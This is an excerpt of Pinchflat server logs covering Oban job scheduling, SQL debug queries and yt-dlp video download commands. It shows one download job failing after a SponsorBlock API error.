{"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:48.189 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.211 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:25:18.190 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:48.191 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.212 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:26:18.193 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:48.194 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.213 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:27:18.195 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:48.196 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.214 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:28:18.197 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:48.198 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.215 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:29:18.200 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:48.201 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.216 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:30:18.202 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:48.203 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.217 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:31:18.204 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:48.205 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.219 [info] {"source":"oban","duration":344,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:32:18.206 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:48.207 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.219 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:33:18.208 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:48.209 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.220 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:34:18.210 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:48.212 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.221 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:35:18.213 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:48.214 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.222 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:36:18.216 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:48.218 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.223 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:37:18.219 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:48.221 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.224 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:38:18.222 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:48.223 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.225 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:39:18.224 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:48.225 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.226 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:40:18.226 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:48.227 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.227 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:41:18.228 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:48.229 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.228 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:42:14.931 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774953734931370324,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:42:14.932 [debug] QUERY OK source="media_items" db=0.3ms idle=1533.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 06:42:14.932 [info] User scripts lifecyle file either not present or is empty. Skipping. 06:42:14.932 [debug] QUERY OK source="sources" db=0.2ms idle=1534.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:42:14.932 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:42:14.933 [debug] QUERY OK source="media_items" db=0.2ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 06:42:14.934 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 06:42:14.934 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:42:14.934 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:42:14.934 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:42:14.935 [debug] Running yt-dlp command for action: get_downloadable_status 06:42:14.935 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:42:14.935 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:42:14.936 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:42:14.936 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c6/7c/c67c01f3b843900f11598e09580d216dcb0a92cafa71dfdef101620960fa47db.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:42:18.230 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:18.619 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c6/7c/c67c01f3b843900f11598e09580d216dcb0a92cafa71dfdef101620960fa47db.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 06:42:18.620 [debug] Running yt-dlp command for action: download 06:42:18.620 [debug] QUERY OK source="settings" db=0.1ms idle=691.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:42:18.620 [debug] QUERY OK source="settings" db=0.1ms idle=389.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:42:18.620 [debug] QUERY OK source="settings" db=0.1ms idle=223.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:42:18.621 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/17/0d/170d2ef0896aee45ddbf694ff1ec330cc027fff90896d7aad4a301cdf49830fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:42:48.232 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.229 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:43:18.233 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:48.234 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.230 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:44:18.236 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:48.237 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.231 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:45:18.238 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:48.239 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.232 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:46:18.240 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:48.241 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.233 [info] {"source":"oban","duration":100,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:47:12.379 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/17/0d/170d2ef0896aee45ddbf694ff1ec330cc027fff90896d7aad4a301cdf49830fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)... ERROR: The downloaded file is empty 06:47:12.379 [error] yt-dlp download error for media item #12546: "WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)...\nERROR: The downloaded file is empty\n" 06:47:12.380 [error] Unable to recover error for media item #12546: {:error, %Jason.DecodeError{position: 0, token: nil, data: ""}} 06:47:12.381 [debug] QUERY OK source="media_items" db=1.2ms idle=982.4ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)...\nERROR: The downloaded file is empty\n", ~U[2026-03-31 10:47:12Z], 12546] 06:47:12.382 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":297450255,"event":"job:exception","queue_time":35175,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:47:18.242 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:26.261 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774954046261219252,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:47:26.261 [debug] QUERY OK source="media_items" db=0.2ms idle=863.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 06:47:26.261 [info] User scripts lifecyle file either not present or is empty. Skipping. 06:47:26.262 [debug] QUERY OK source="sources" db=0.2ms idle=864.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:47:26.262 [debug] QUERY OK source="media_profiles" db=0.1ms idle=864.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:47:26.263 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 06:47:26.263 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 06:47:26.263 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:47:26.264 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:47:26.264 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:47:26.264 [debug] Running yt-dlp command for action: get_downloadable_status 06:47:26.265 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:47:26.265 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:47:26.265 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:47:26.265 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cf/eb/cfeb02b8e6bb8da9318e9d461331a69852873a00d13407fa7ffbc864653f9c3d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:47:30.017 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cf/eb/cfeb02b8e6bb8da9318e9d461331a69852873a00d13407fa7ffbc864653f9c3d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 06:47:30.017 [debug] Running yt-dlp command for action: download 06:47:30.017 [debug] QUERY OK source="settings" db=0.1ms idle=759.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:47:30.017 [debug] QUERY OK source="settings" db=0.0ms idle=619.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:47:30.017 [debug] QUERY OK source="settings" db=0.0ms idle=620.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:47:30.018 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j 